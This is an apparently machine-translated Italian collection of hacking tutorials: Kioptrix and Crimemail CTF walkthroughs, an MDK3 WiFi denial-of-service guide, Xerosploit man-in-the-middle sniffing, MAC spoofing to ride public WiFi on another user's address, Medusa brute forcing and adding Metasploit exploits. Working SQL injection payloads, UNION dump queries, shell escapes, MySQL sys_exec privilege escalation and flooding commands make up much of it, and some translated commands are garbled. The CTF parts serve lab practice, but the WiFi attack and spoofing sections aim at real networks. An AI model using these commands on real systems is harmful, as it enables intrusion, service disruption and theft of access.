Dopo che il file è aperto, aggiungiamo /bin/sh subito dopo /usr/local/bin/ht e non dimenticate la virgola!

Dopo averlo fatto, premi ALF + F > Salva > quindi CTRL + Z per uscire.

Ok, vediamo se il nostro " exploit " ha funzionato!

Torniamo alla sezione PHPMYADMIN , che abbiamo trovato in http://192.168.36.131/phpmyadmin/

Prova  il test poiché il campo nome utente e password deve essere vuoto.

OH! hai effettuato l'accesso ma mostra solo il database information_schema che non serve a noi.

Ora guarda la pagina di accesso accessibile a http://192.168.36.131/index.php?system=Admin e scopri che stava usando LotusCMS che è vulnerabile all'exploit LotusCMS 3.0 eval() Remote Code Execution .

Avvia Metasploit Framework e utilizza il seguente exploit:

Comando: usa exploit/multi/http/lcms_php_exec

Digita  show options per visualizzare maggiori dettagli su questo modulo exploit.

Impostare i parametri richiesti come mostrato di seguito:

E infine digita  run per avviare l'exploit e Bingo! 1 Shell Session è stata aperta.

Inoltre, digita ls -l  gallery per visualizzare tutti i file nella directory di lavoro corrente.

Qui il file interessante è  gconfig.php che sembra essere un file di configurazione del database con nome utente DB e password DB.

Apriamo questo file digitando  cat gallery/gconfig.php nello stesso terminale.

Ok abbiamo i dettagli del DB, proviamo ad aprirlo tramite PHPMYADMIN.

Ora hai pieno accesso alla sezione Database attraverso la quale puoi aggiungere/gestire/eliminare qualsiasi utente.

CTF – Kioptrix Livello 4 – Guida dettagliata

   

Bentornati alla serie Kioptrix CTF!

In precedenza abbiamo coperto fino a 3 livelli della serie Kioptrix CTF che puoi trovare tramite questo link . Bene, iniziamo il 4° livello della serie Kioptrix.

Come sempre, quando provi a risolvere qualsiasi Vulnhub VM, il tuo primo passo è ospitare la scoperta con l'aiuto del seguente comando:

Comando: netdiscover -i eth0 -r 192.168.36.0/24

Dall'output precedente, abbiamo appreso che l'indirizzo IP della VM Kioptrix Level 4 è 192.168.36.134.

Da qui, possiamo eseguire un NMAP contro l'IP di cui sopra per controllare le porte/servizi aperti.

Comando: nmap -sS -A -n 192.168.36.134

Dalle scansioni iniziali, puoi vedere che i numeri di porta 22, 80, 139 e 445 sono in stato aperto.

Inoltre, puoi facilmente enumerare i nomi utente tramite NetBIOS usando nmap digitando il seguente comando:

Comando: nmap -sC –script=smb-enum-users 192.168.36.134

Come puoi vedere, abbiamo 5 username ( john, loneferret, nessuno, robert, root ). Proviamo a connettere le condivisioni SMB su Kioptrix con l'aiuto del seguente comando:

Comando: smbclient -L 192.168.36.137

Siamo riusciti ad accedere con successo ma non ci sono condivisioni pubbliche, quindi puoi semplicemente saltare questa parte ed eseguire ulteriormente la scansione con Nikto, che è ancora una volta uno dei più popolari scanner di vulnerabilità open source.

Comando: nikto -host 192.168.36.134

Andiamo avanti e proviamo ad accedere all'indirizzo IP nel tuo browser, ad esempio http://192.168.36.134/ perché la PORTA 80 è aperta.

Yuppie, abbiamo trovato una pagina di accesso, andiamo avanti e proviamo l'iniezione SQL digitando le virgolette ( ' ) sia nel campo del nome utente che in quello della password.

Quindi qui abbiamo confermato che la vulnerabilità SQL Injection è presente, quindi prova a inserire alcune combinazioni come questa:

Quindi qui abbiamo effettuato l'accesso con successo con nome utente ( john ) e password ( 1′ o '1'='1 ). Sembra anche che abbiamo la vera password di John. Puoi fare lo stesso con gli altri utenti.

Proviamo a fare SSH con username john e password ( MyNameIsJohn ) digitando il seguente comando nel tuo terminale.

Comando: ssh giovanni@192.168.36.134

Sembra che sia una shell limitata/ristretta perché funzionano solo pochi comandi che puoi facilmente ottenere digitando ( help o ? ) command.

Per saperne di più: sfuggire alle shell limitate

Per aggirare questa shell limitata , c'è un semplice trucco/codice attraverso il quale lshell può essere facilmente aggirato con l'aiuto del comando echo o vim .

Comando: echo os.system('/bin/bash')

Va bene! ora che abbiamo più accesso, come puoi vedere, siamo ora in grado di eseguire  il comando pwd  che indica la tua attuale directory di lavoro.

Inoltre, puoi anche grep processi eseguiti dall'utente root digitando il seguente comando:

Comando: ps -ef | radice grep

Per verificare se il servizio mysql è in esecuzione o meno, digitare  ps -ef | grep radice | grep mysql

E sì, il servizio MySQL è eseguito dall'utente root, quindi possiamo pensare all'escalation dei privilegi con MySQL User Defined Functions (UDF) .

Vediamo se riusciamo a trovare il nome utente del DB e i dettagli della password del DB nel file di configurazione che si trova nella directory /var/www .

Come puoi vedere, non esiste una password, quindi puoi facilmente bypassare MYSQL con UDF di cui puoi saperne di più a questo link . Significa che puoi facilmente aumentare i privilegi a root ma prima di procedere, devi prima verificare se il servizio mysql è in esecuzione con privilegi di root o meno digitando il seguente comando:

Comando: ls -la /usr/lib/lib_mysqludf_sys.so

Sì, il servizio mysql è in esecuzione con i privilegi di root, quindi ora puoi accedere direttamente al database con il client mysql.

Comando: mysql -h localhost -u root -p

“ mostra database; ” ti fornirà un elenco di tutti i database ospitati sul tuo IP di destinazione e, inoltre, esegui un comando usermod con sys_exec per concedere a john i privilegi di amministratore.

Usando sys_exec  siamo stati in grado di eseguire usermod che ha aggiunto john al gruppo admin.

E poi ho eseguito sudo su per ottenere la shell di root.

Puoi anche usare  select sys_exec('chmod u+s /bin/bash'); per l'escalation dei privilegi per ottenere la shell bash con autorizzazioni complete.

DDOS una rete WiFi con lo strumento MDK3 in Kali Linux

   

MDK è uno strumento proof-of-concept per sfruttare i comuni punti deboli del protocollo IEEE 802.11.

MDK3, il cosiddetto Murder Death Kill 3 , è uno degli strumenti di hacking wireless più popolari e specificamente progettato per gli ambienti WLAN. L'operazione principale di questo strumento è inondare la rete con traffico falso contro la rete.

Questa versione di MDK3 dispone di una nuova funzionalità che invia richieste di probe dirette con caratteri SSID non validi a un AP. La speranza è che se vengono inviate abbastanza sonde, l'AP si bloccherà e si riavvierà.

Come prerequisito, assicurati che la tua macchina Kali Linux abbia un adattatore WiFi USB e per verificare digita " iwconfig " nel tuo terminale.

Ora avvia il tuo adattatore wireless con l'aiuto di Airmon-ng Package e mettilo in modalità Packet Injecting, ovvero Monitor Mode, digitando il seguente comando nel tuo terminale:

Comando: airmon-ng start wlan0

Falso SSID (casuale) Flooding con MDK3

SSID (Service Set Identifier) ​​Flooding o Beacon Flooding può essere facilmente eseguito con l'aiuto dello strumento mdk3. Significa che MDK3 può trasmettere centinaia o addirittura migliaia di falsi AP.

SSID Flooding non è una negazione del servizio, ma è comunque un bel trucco per bloccare la rete.

Comando: mdk3 wlan0mon b -c 1

Qui l'opzione b dice a MDK3 di usare beacon/SSID Flooding Mode
-c 1 dice a MDK3 di trasmettere tutti gli AP falsi sul canale 1.

Puoi anche definire l'SSID personalizzato da un file che vuoi trasmettere nella tua rete.

Creiamo un file di testo denominato       .list come mostrato di seguito:

Ora esegui il seguente comando:

Comando: mdk3 wlan0mon b -c 1 -f       .list

Qui, -b definisce per Beacon Flood Mode
-c 1 – On Channel 1
-f definisce il nome del file

Passando ora all'effettivo attacco DOS , puoi eseguire l'attacco DOS con MDK3 in due modi:

In Authentication Flooding , troppe richieste di autenticazione contemporaneamente possono causare il blocco del punto di accesso wireless e forse smettere di funzionare del tutto.

Comando: mdk3 wlan0mon a -a <BSSID>

Qui, a definisce la modalità DOS di autenticazione
-a definisce l'indirizzo MAC di destinazione, il cosiddetto BSSID (Base Service Set Identifier)

In Deauthentication Flooding , funziona molto meglio della modalità di autenticazione e non richiede le risorse necessarie per prima.

Leggi anche: Attacco DOS wireless con script Bash

Per DOS con la modalità Deauthentication, è necessario salvare tutti gli indirizzi BSSID in un file e quindi specificare il file con l'opzione -b.

Questo invierà pacchetti deauth a tutti i client connessi all'AP specificato nel file.

Comando: mdk3 wlan0mon d -b lista nera

Qui, d definisce Deauthentictaion/Dissociation Amok Mode
-b definisce il nome del file contenente gli indirizzi MAC da attaccare

Per un elenco completo delle opzioni mdk3, digitare " mdk3 –fullhelp ".

[Soluzione] Impossibile bloccare la directory di amministrazione Errore – Kali Linux

   

Come tutti sappiamo, Kali Linux è una delle migliori distribuzioni pentesting utilizzate anche da professionisti della sicurezza e hacker, ma è così fastidioso quando vedi questo tipo di errori durante l'installazione di qualsiasi strumento/pacchetto con il comando apt-get.

E: Impossibile ottenere il blocco /var/lib/dpkg/lock – open (11: Risorsa temporaneamente non disponibile)
E: Impossibile bloccare la directory di amministrazione (/var/lib/dpkg/), è un altro processo che lo sta utilizzando?

Questo errore può essere causato dall'Update Manager che tenta di aggiornare automaticamente l'elenco dei pacchetti in background, di solito subito dopo l'accesso, bloccando così la directory.

Quindi o il tuo comando apt-get è occupato in qualche altra installazione o le tue risorse sono occupate da qualche altra parte. Questo errore può essere così fastidioso soprattutto per i nuovi utenti di Linux (Kali) che potrebbero non conoscere esattamente la causa dell'errore.

Ci sono fondamentalmente due modi per correggere questo errore:

Nel primo metodo, devi trovare tutti i processi che utilizzano apt o apt-get process digitando il comando seguente:

Comando: ps -A | grep apt

Se mostra una sorta di processo apt, allora dovresti terminare quel processo con l'aiuto del comando kill:

Comando: sudo kill -9 <processnumber>

Nel secondo metodo, è necessario rimuovere tutti i file menzionati nello screenshot sottostante.

Comando: sudo rm /var/lib/dpkg/lock
Comando: sudo rm /var/lib/apt/lists/lock
Comando: sudo rm /var/cache/apt/archives/lock

Fondamentalmente, una volta eseguito un comando apt-get o apt , viene creato un file di blocco in una qualsiasi di queste directory /var/lib/apt/lists/ , /var/lib/dpkg/ e /var/cache/apt/archives /  che in realtà ti aiuta a evitare che il processo apt-get o apt che è già in esecuzione venga interrotto da un utente o da altri processi di sistema che dovrebbero funzionare con i file utilizzati da apt-get o apt .

Al termine dell'esecuzione del processo, il file di blocco viene eliminato.

Successivamente è necessario riconfigurare forzatamente il pacchetto digitando il seguente comando nello stesso terminale:

Comando: sudo dpkg –configure -a

Ora puoi installare qualsiasi pacchetto sulla tua macchina Kali Linux.

Ma non essere così veloce nel rimuovere qualcosa, potrebbe danneggiare totalmente il tuo sistema; piuttosto attendi fino a quando il programma attualmente in installazione o disinstallazione non termina il suo compito e successivamente avrai accesso. Se ritieni che al momento non sia installato o disinstallato nulla, segui semplicemente i passaggi precedenti o riavvia il sistema con il comando sudo reboot .

Sniffing con Xerosploit: un framework MITM avanzato

   

Xerosploit è un toolkit per test di penetrazione il cui obiettivo è eseguire attacchi man in the middle a scopo di test. Porta vari moduli che consentono di realizzare attacchi efficienti e consente anche di eseguire attacchi di negazione del servizio e scansione delle porte.

Con l'aiuto di Xerosploit, puoi eseguire facilmente un attacco MITM e puoi annusare tutti i nomi utente e le password in meno di 1 minuto.

Xerosploit ha così tanti moduli come Ping, Dos, Scan Ports, Sniffer, Inject HTML/JS ecc.

Installazione di Xerosploit in Kali Linux –

Puoi installare facilmente lo strumento Xerosploit disponibile su Github Repository digitando il seguente comando nel tuo terminale:

Comando: git clone https://github.com/LionSec/xerosploit

Ci sono alcune dipendenze di cui Xerosploit ha bisogno sono: nmap, hping3, build-essential, ruby-dev, libpcap-dev
libgmp3-dev, tabulate, terminaltables.

Per installare queste dipendenze, digita il seguente comando:

Comando: cd xerosploit
Comando: sudo python install.py

Ora puoi avviare direttamente lo strumento semplicemente digitando " xerosploit " dal terminale che ti mostra una sorta di schermata di benvenuto e i dettagli della configurazione della tua rete come il tuo indirizzo IP, indirizzo gateway, interfaccia e indirizzo Mac.

Digita " help " per vedere tutti i possibili comandi utilizzati dallo strumento xerosploit.

Per eseguire la scansione della rete, digitare " scansione " nello stesso terminale che mostra tutte le macchine/dispositivi disponibili connessi alla rete.

Facciamo un esempio: il tuo indirizzo IP target/vittima è " 192.168.179.148 ", quindi semplicemente per impostare il tuo indirizzo target, digita lo stesso IP nel tuo terminale di comando xero.

Ora devi selezionare il modulo che vuoi lanciare contro il tuo bersaglio.

Sono disponibili vari moduli che puoi vedere semplicemente digitando nuovamente il comando " help ".

Per la scansione delle porte, digitare " pscan " nello stesso terminale seguito dal comando " run ".

Per lo sniffing, digitare " sniff " nello stesso terminale seguito dal comando " run " e digitare  y se si desidera utilizzare sslstrip per lo sniffing dei pacchetti HTTPS.

Per l'attacco DOS (Denial of Service), digitare "dos"  seguito dal  comando di esecuzione  .

Th3Inspector - Strumento di raccolta di informazioni open source

   

Nel vasto mare di Internet, gli obiettivi sono facili da trovare. Quasi tutte le reti pubblicizzano il provider di servizi Internet (ISP) da cui dipendono, nonché il loro design, configurazione, tipi di hardware e buchi potenzialmente vulnerabili. Tieni presente che la maggior parte delle normali tecniche di scoperta per la raccolta di informazioni non sono invasive e di solito non sono più illegali del tintinnare delle maniglie delle porte per verificare se le porte sono aperte. A seconda delle
intenzioni degli aggressori e delle risorse legali dell'obiettivo, la maggior parte ritiene che questi saranno difficili, se non impossibili, da perseguire.

In un semplice attacco di raccolta di informazioni a un'azienda, utilizzeremo LinkedIn come esempio. LinkedIn consente a un utente di cercare per nome dell'azienda. Qualsiasi utente Linked-In che attualmente o in precedenza ha lavorato presso il target e si è associato al nome dell'azienda nel proprio profilo verrà elencato nei risultati della ricerca. Possiamo quindi restringere la ricerca per paese, stato o regione per individuare più strettamente le persone che lavorano presso la divisione o la struttura a cui siamo interessati. Una volta creato un elenco di obiettivi, possiamo cercare le stesse persone utilizzando altri siti di social media, ad
esempio Facebook.

Installazione di Th3inspector –

Th3inspector è uno strumento di raccolta di informazioni open source disponibile su Github attraverso il quale è possibile trovare facilmente molte informazioni sulla destinazione come dettagli del server, informazioni whois, IP di destinazione, numero di telefono, e-mail, sottodomini ecc .

Comando:  git clone https://github.com/Moham3dRiahi/Th3inspector.git

Per eseguire questo strumento, devi concedere le autorizzazioni eseguibili al file install.sh digitando il seguente comando nel tuo terminale.

Comando: chmod +x install.sh && ./install.sh

Come puoi vedere, appare una schermata di benvenuto con l'elenco dei moduli:

Ad esempio, si desidera enumerare le informazioni sul sito Web relative all'obiettivo: digitare [ 01 ]

Se vuoi conoscere l'età del dominio di qualsiasi target, digita [ 07 ].

Ottieni il Wi-Fi pubblico gratuito: ignora i filtri Mac

   

La maggior parte delle volte, probabilmente stai bene se premi accidentalmente " Connetti " su WiFi pubblico gratuito, poiché stai solo tentando di connetterti a una macchina che sta ritrasmettendo inconsapevolmente la propria incapacità di connettersi. Ma la maggior parte dei WiFi pubblici non funziona a causa del filtro Mac, il che significa che l'indirizzo MAC della tua macchina dovrebbe essere registrato nel dispositivo AP del fornitore.

Quindi qui hai due opzioni -

  1. O puoi dare il tuo indirizzo MAC al proprietario e farlo registrare.
  2. Oppure puoi ottenere l'indirizzo MAC di qualcuno e falsificare il tuo indirizzo MAC con quell'indirizzo MAC.

Ma potrebbe esserci l'occasione per qualcuno con azioni malvagie nel cuore di consentire la connessione e ottenere accessi o altri dati dalla tua connessione.

Nella maggior parte dei casi, il Wi-Fi effettivamente gratuito avrà un nome più legittimo, come Cafe Coffee Day (CCD), Dominos, Free Internet, Tata Docomo ecc.

Quindi ora la domanda è: come puoi ottenere l'indirizzo Mac di qualcuno che è già sulla rete e sta usando Internet gratuito?

Per questo, devi installare FreeWifi che è uno script basato su Python open source nella tua macchina Kali Linux con l'aiuto del seguente comando:

Comando: git clone https://github.com/kylemcdonald/FreeWifi.git

Inoltre, è necessario installare un pacchetto di dipendenze chiamato python-dev (per utenti Kali Linux) e python-devel (per utenti Fedora).

E per altre dipendenze, puoi installarlo facilmente tramite il comando pip.

Comando: sudo pip install -r requisiti.txt

Alla fine, esegui lo script python digitando il seguente comando nel tuo terminale.

Comando: python wifi-users.py

Quindi qui puoi vederlo, otterrai un elenco di tutti gli indirizzi MAC (che nel nostro caso sono circa 51) che fanno effettivamente parte di questa rete.

Infine, vogliamo falsificare uno di questi indirizzi MAC. Ad esempio, in questo caso inseriremo " sudo spoof-mac set 1c:3e:84:1c:78:1f Wi-Fi " per provare a falsificare l'indirizzo con più traffico (probabilmente hanno una connessione).

Dopo aver eseguito quel comando, prova ad accedere a Internet.

Se non disponi di una connessione, prova il MAC successivo nell'elenco. Se la tua connessione Internet si interrompe durante l'utilizzo di questo indirizzo MAC, prova a disconnetterti e riconnetterti alla rete wireless.

Tieni presente che l'utente originale del MAC che hai copiato potrebbe riscontrare queste stesse interruzioni di connessione se entrambi state utilizzando attivamente la rete.

Crimemail CTF Writeup – Soluzione

   

Questo Crimemail CTF ti è stato offerto da InSecurity , una società studentesca dell'INSA Lyon (Francia). Il formato Flag dovrebbe essere simile a INSA{…}

Collins Hackle è un famigerato cattivo che è dietro a questo CTF.

Sfida: la tua sfida è aggirare la pagina di accesso e catturare la bandiera.
Suggerimento: l'md5 della sua password è calcolato come segue: md5 = md5($password + $salt) e Collins Hackle ha una password che può essere trovata in qualsiasi dizionario inglese.

URL CTF – https://crimemail.ctf.insecurity-insa.fr/

Il tuo primo compito è accedere al link sopra e vedrai una semplice pagina di accesso con il titolo CrimeMail v13.37 .

Ovviamente non ci saranno difetti in questa pagina, quindi abbiamo trovato un'altra pagina " Password persa " e per verificare se questo campo è vulnerabile o meno a SQL Injection, basta digitare le virgolette ( ' ) nel campo di inserimento del nome utente.

Di conseguenza, verrà visualizzato un messaggio di errore " Errore database: hai un errore nella sintassi SQL; controllare il manuale che corrisponde….. ”

Quindi ora è confermato che questo campo del nome utente di input è vulnerabile all'iniezione SQL .

Quindi il tuo prossimo compito è trovare il numero di colonne attraverso le quali puoi trovarlo facilmente aggiungendo l'ordine per 1– nel campo di input.

' ordina per 1– (colonna valida)
' ordina per 2– (colonna sconosciuta)

Quindi abbiamo saputo che c'è solo una colonna nella query come mostrato di seguito:

Costruiamo una query con union select come mostrato di seguito:

' union select group_concat(concat(table_name,0x20,column_name)) from information_schema.columns where table_schema=database()–

Nota:  c'è sempre uno spazio alla fine della query.

Di conseguenza, abbiamo la tabella " utenti ".

Proviamo a trovare maggiori informazioni dalla  tabella degli utenti digitando la seguente query:

' union select group_concat(concat(username,0x20,pass_salt,0x20,pass_md5)) from users–

Il che risulta, alcuni utenti chiamati " p.escobar ", " g.dupuy ", " a.capone ", " c.manson " e " c.hackle " insieme a una password crittografata che sembra essere crittografata in hash MD5 .

Proviamo a decifrare qualsiasi utente:

c.hackle yhbG f2b31b3a7a7c41093321d0c98c37f5ad

Dal suggerimento allegato alla sfida sapevamo che l'hash MD5 era il risultato della seguente operazione:

md5 = md5($password + $salt)

Quindi qui abbiamo un piccolo script Python codificato da  bl4de attraverso il quale puoi facilmente decifrare l'hash sopra.

#!/usr/bin/python
import hashlib

for passwd in open(“/usr/share/wordlists/rockyou.txt”, “r”):
if hashlib.md5(passwd.strip() + “yhbG”).hexdigest() == “f2b31b3a7a7c41093321d0c98c37f5ad”:
print “ [+] E la password per è {}”.format(passwd.strip())
exit(0)

stampa "[+] Fatto"

Yippie, abbiamo trovato la password che è " pizza ".

Ora torniamo alla pagina di Login provando i seguenti dettagli:

E la bandiera è INSA{s3cr3t_l0cat10n}

Puoi anche sfruttare la vulnerabilità SQL Injection con l'aiuto di SQLMAP, uno degli strumenti di sfruttamento SQL più popolari .

Comando: sqlmap -u “https://crimemail.ctf.insecurity-insa.fr/hint.php” –data=”username=      ” –dbs

Qui puoi vedere che ci sono due database denominati  db  e  information_schema .

Proviamo a scoprire i nomi delle tabelle digitando il seguente comando:

Comando: sqlmap -u “https://crimemail.ctf.insecurity-insa.fr/hint.php” –data=”username=      ” -D db –tables

Inoltre, proviamo a scoprire tutti i nomi di colonna della  tabella degli utenti  .

Comando:  sqlmap -u “https://crimemail.ctf.insecurity-insa.fr/hint.php” –data=”username=      ” -D db -T utenti –columns

Di conseguenza, ci sono 5 colonne denominate " hint ", " pass_md5 ", " pass_salt ", " userID " e " username ".

Ora è il momento di scaricare tutti i dati digitando il seguente comando nello stesso terminale:

Comando: sqlmap -u “https://crimemail.ctf.insecurity-insa.fr/hint.php” –data=”username=      ” –dump

I 20 migliori comandi di base di Kali Linux

   

Kali Linux è un sistema operativo open source sviluppato da Offensive Security. Contiene una serie di strumenti di sicurezza divisi per categorie per Penetration Test o Ethical Hacking in un ambiente pratico per testare l'affidabilità e la sicurezza dei sistemi in situazioni insolite.

“Anzi, Kali Linux non è facile da imparare e probabilmente sarà difficile da capire per i principianti. Tuttavia, vale la pena studiarlo a causa dell'ampia gamma dei suoi strumenti di sicurezza informatica ", afferma Caralee Adams, specialista di pubbliche relazioni della società Bid For Writing e appassionata di Kali Linux.

Puoi imparare il corso Linux qui: Corso di formazione su Linux

Inoltre, si prega di fare riferimento a Linux Certification Training che fornisce il miglior corso di formazione online Linux orientato al settore

1. Comando data –

Questo comando viene generalmente utilizzato per visualizzare la data e l'ora del sistema. Puoi anche impostare una data personalizzata digitando il comando seguente nel tuo terminale.

Sintassi – “data –set='2 aprile          16:10′

2. Comando Cal –

Il comando cal visualizza semplicemente un calendario formattato del mese corrente nella schermata del terminale. Se nel caso hai bisogno di una versione avanzata di cal, puoi anche scaricare  il pacchetto ncal nella tua macchina Linux che visualizza il calendario verticalmente insieme a più opzioni.

3. Comando whoami –

Il comando whoami stampa semplicemente l'ID utente effettivo mentre il comando as who stampa le informazioni sugli utenti che sono attualmente connessi.

Puoi anche utilizzare il comando " w " per vedere chi è connesso e cosa sta facendo.

4. Comando pwd –

pwd sta per " Print Working Directory " che stampa semplicemente il nome della directory di lavoro oppure puoi usare direttamente il comando seguente per usare pwd.

Sintassi – “/bin/pwd”

5. Comando ls –

Questo comando è uno dei comandi più utili in Kali Linux che elenca i contenuti delle directory di file e directory. Con il comando ls, puoi facilmente elencare tutti i file nascosti di una directory con l'attributo -a e per un output più dettagliato puoi usare  l'attributo -l  .

Sintassi:  ls -al

6. Comando cd –

Il comando cd noto anche come chdir (Change Directory) è un comando utilizzato per cambiare/cambiare la directory di lavoro corrente.

7. Comando mkdir –

Il comando utilizzato per creare le directory è mkdir . Ad esempio, se desideri creare una directory sotto Desktop chiamata         , apri un terminale e digita il seguente comando:

Comando: mkdir /root/Desktop/      

8. Comando cat –

Il comando cat (concatena) è uno dei comandi più utilizzati in Kali Linux che ci consente di creare file singoli o multipli, visualizzare il contenuto di file, concatenare file e reindirizzare l'output nel terminale o nei file.

Generalmente, il comando cat viene utilizzato per visualizzare il contenuto di un file.

9. Comando cp –

Questo comando viene utilizzato per copiare file o gruppi di file o directory che crea un'immagine esatta di un file su un disco con un nome di file diverso.

10. Comando mv –

Il comando mv sposta, o rinomina, file e directory sul tuo file system.

11. Comando rm –

Il comando rm (rimuovi) viene utilizzato per eliminare i file. Se utilizzato in modo ricorsivo, può essere utilizzato per eliminare le directory.

Il processo di rimozione scollega un nome di file in un file system dai dati associati e contrassegna tale spazio sul dispositivo di archiviazione come utilizzabile da scritture future. In altre parole, quando rimuovi un file, i dati nel file non vengono modificati, ma non sono più associati a un nome file.

12. Comando uname –

Questo comando stampa le informazioni sul sistema corrente. Il comando uname all'interno di Linux consente di visualizzare le informazioni di sistema relative all'ambiente Linux .

Con  uname -a comando, che fornisce maggiori informazioni sul sistema come nome del kernel, nome del nodo, rilascio del kernel, versione del kernel, macchina, processore, piattaforma hardware e sistema operativo.

13. Comando uptime –

Il comando uptime ti dà il tempo per il quale il sistema è stato attivo (o in esecuzione). L'utilizzo di base di Uptime è molto semplice: basta scrivere il nome del comando e premere invio.

Nel caso in cui desideri solo conoscere il tempo per il quale il sistema è stato attivo, e anche quello in un formato più leggibile dall'uomo, utilizza l' opzione della riga di comando -p .

14. Comando utenti –

Questo comando visualizza i nomi di accesso degli utenti attualmente connessi al sistema.

15. meno Comando –

less comando viene utilizzato per visualizzare i file invece di aprire il file. Il comando less  è considerato una versione più potente del comando "more" che viene utilizzato per visualizzare le informazioni sul terminale una pagina alla volta.

Puoi visualizzare qualsiasi file di testo usando il comando less semplicemente digitando quanto segue in una finestra di terminale:

Comando: less /etc/passwd

16. più comando –

Il comando more consente di visualizzare l'output nel terminale una pagina alla volta. Ciò è particolarmente utile quando si esegue un comando che causa molto scorrimento come il comando ls o il comando du.

Il comando more funziona con qualsiasi applicazione che emette sullo schermo. Un buon modo per verificarlo è digitare quanto segue in una finestra di terminale:

Comando: more /etc/passwd

17. ordina il comando –

Il comando Ordina ordina il contenuto di un file di testo, riga per riga. Sort è un programma a riga di comando standard che stampa le righe del suo input o la concatenazione di tutti i file elencati nel suo elenco di argomenti in ordine ordinato.

Con  l'opzione -r  , puoi ordinare il contenuto di qualsiasi file in ordine inverso.

18. Comando vi –

L'editor vi è un editor di schermate disponibile su quasi tutti i sistemi UNIX. In generale, vi ha due modalità: la modalità di comando e la modalità di inserimento.

Per iniziare a inserire del testo in un file vuoto, devi prima passare dalla modalità di comando alla modalità di inserimento. Per fare ciò, digita la lettera i . Quando inizi a digitare, tutto ciò che digiti verrà inserito nel file.

Digita alcune righe brevi e premi Invio alla fine di ciascuna riga. A differenza dei programmi di videoscrittura, vi non utilizza il ritorno a capo automatico. Spezzerà una linea sul bordo dello schermo. Se commetti un errore, puoi utilizzare il tasto Backspace per rimuovere gli errori. Se il tasto Backspace non funziona correttamente sul tuo sistema, prova a utilizzare la combinazione di tasti Ctrl h.

19. Comando libero –

free è un comando che può darci preziose informazioni sulla RAM disponibile nella macchina Linux. Fornisce inoltre informazioni sullo spazio totale utilizzato e disponibile della memoria fisica e sulla memoria di scambio con i buffer utilizzati dal kernel.

Comando gratuito con l'opzione -t , elencherà la riga totale alla fine.

20. cronologia Comando –

Uno dei comandi ampiamente utilizzati in Kali Linux è il comando history . La shell bash memorizza una cronologia dei comandi immessi, che può essere utilizzata per ripetere i comandi utilizzando il comando history.

In modo semplice, puoi eseguire il comando history da solo e stamperà semplicemente la cronologia bash dell'utente corrente sullo schermo come mostrato di seguito:


Il contributo di Linux al mondo dei computer non finisce qui e non si limita alla semplice esecuzione di alcuni script e comandi della shell, ma può fare miracoli a cui non avresti mai pensato. Se hai a che fare con un PC di fascia bassa super lento, puoi avere l'opportunità di ripristinare il computer alla sua massima capacità di prestazioni. ma come? Bene, anche in questo caso Linux potrebbe aiutarti a dare una nuova vita al tuo computer.

C'è un'unità flash USB Live che viene fornita con Linux preinstallato, promette di velocizzare il tuo computer installando un sistema operativo aggiuntivo, ad esempio Linux, ma può essere accessibile solo collegando quell'USB. Questa chiavetta USB popolarmente conosciuta come Xtra-PC, se stai cercando una soluzione simile, non esitare a dare un'occhiata a questa recensione dettagliata di TheViralTech per saperne di più su Xtra-PC

Bruteforce Password Cracking con Medusa – Kali Linux

   

Nella mitologia greca, Medusa era un mostro, una Gorgone, generalmente descritta come una femmina umana alata con serpenti velenosi viventi al posto dei capelli.

Medusa è un brute-forcer di login veloce, parallelo e modulare. L'obiettivo è supportare il maggior numero possibile di servizi che consentono l'autenticazione remota.

Link per il download –  http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz

L'autore considera i seguenti elementi come alcune delle caratteristiche chiave di questa applicazione:

Leggi anche:  Bruteforce SSH con Hydra, Ncrack e Medusa – Kali Linux  

Lo strumento Medusa è già preinstallato in ogni versione di Kali Linux che puoi utilizzare facilmente digitando " medusa " dal tuo terminale Linux.

Sintassi: medusa -h

Caso: nella nostra VM, la macchina metasploitable2 è installata e in esecuzione il cui IP è 192.168.36.132.

Come tutti sappiamo, il nome utente della macchina Metasploitable2 è " msfadmin " e un servizio SSH è già aperto in quella macchina, quindi per decifrare la password di questa macchina VM, digitare il comando seguente nel terminale:

Comando: medusa -h 192.168.36.132 -u medusa -P /root/dictionary.txt -M ssh -n 22

Dove -h = definisce il nome host di destinazione,
-u = definisce il nome utente,
-P = un file di dizionario,
-M = il modulo da eseguire come SSH, FTP ecc.,
-n = numero di porta scritto nel modulo

Le password più popolari -

Rango

Parola d'ordine

Numero di istanze

1

123456

290.731

2

12345

79.078

3

123456789

76.790

4

Parola d'ordine

61.958

5

ti amo

51.622

6

principessa

35.231

7

rockyou

22.588

8

1234567

21.726

9

12345678

20.553

10

abc123

17.542

Per visualizzare tutti i moduli di servizio, digitare " medusa -d "

Aggiunta di un modulo di terze parti in Metasploit Framework

   

Come tutti sappiamo, Metasploit Framework è uno dei framework di sfruttamento più popolari. Spesso nuovi moduli ed exploit vengono sempre sviluppati per Metasploit di volta in volta da hacker e ricercatori di sicurezza, ma non tutti sono inclusi nella configurazione o negli aggiornamenti di base.

In questi casi, è necessario installare manualmente il modulo di terze parti in Metasploit Framework. Aggiungere un modulo in MSF non è così difficile se hai qualche conoscenza di Linux.

Ci sono così tante piattaforme in cui puoi trovare buoni moduli di terze parti Metasploit come exploit-db.com, github.com e packetstormsecurity.org.

Su Exploit-db.com , puoi facilmente trovare un buon elenco di moduli Metasploit cercando " metasploit " nella barra di ricerca mostrata in alto a destra.

Come puoi vedere nello screenshot sopra, più di 2000 exploit/moduli sono disponibili in exploit-db.com , il che significa molto per un pentester.

Fantastica raccolta di moduli Metasploit – Github.com

In questo tutorial, aggiungeremo l'exploit di overflow del buffer per VX Search Enterprise v9.5.12 . Questo modulo sfrutta una vulnerabilità di overflow del buffer basata su stack nell'interfaccia Web di VX Search Enterprise v9.5.12, causata da un controllo improprio dei limiti del percorso della richiesta nelle richieste HTTP GET inviate al server Web integrato. Questo modulo è stato testato con successo su Windows 7 SP1 x86.

Per aggiungere qualsiasi modulo nel repository Metasploit, vai a /usr/share/metasploit-framework/modules/exploits/windows/smb digitando il comando seguente:

Comando: cd /usr/share/metasploit-framework/modules/exploits/windows/smb

Ora scarica il file exploit da exploit-db.com e incollalo nel percorso sopra nella directory /smb digitando il comando seguente:

Sintassi: wget (collegamento exploit)

Prima di controllare il modulo nella schermata di Metasploit Front, assicurati di dover riavviare msfconsole o digitare il comando msfupdate dal tuo terminale.

Oppure puoi anche digitare il comando " reload_all " sotto il terminale MSF per ricaricare tutti i moduli e i loro percorsi come mostrato di seguito:

Ora digita il comando " cerca VX " nel tuo terminale MSF e vedrai l'ultimo modulo installato per VX Enterprise sotto i moduli abbinati.

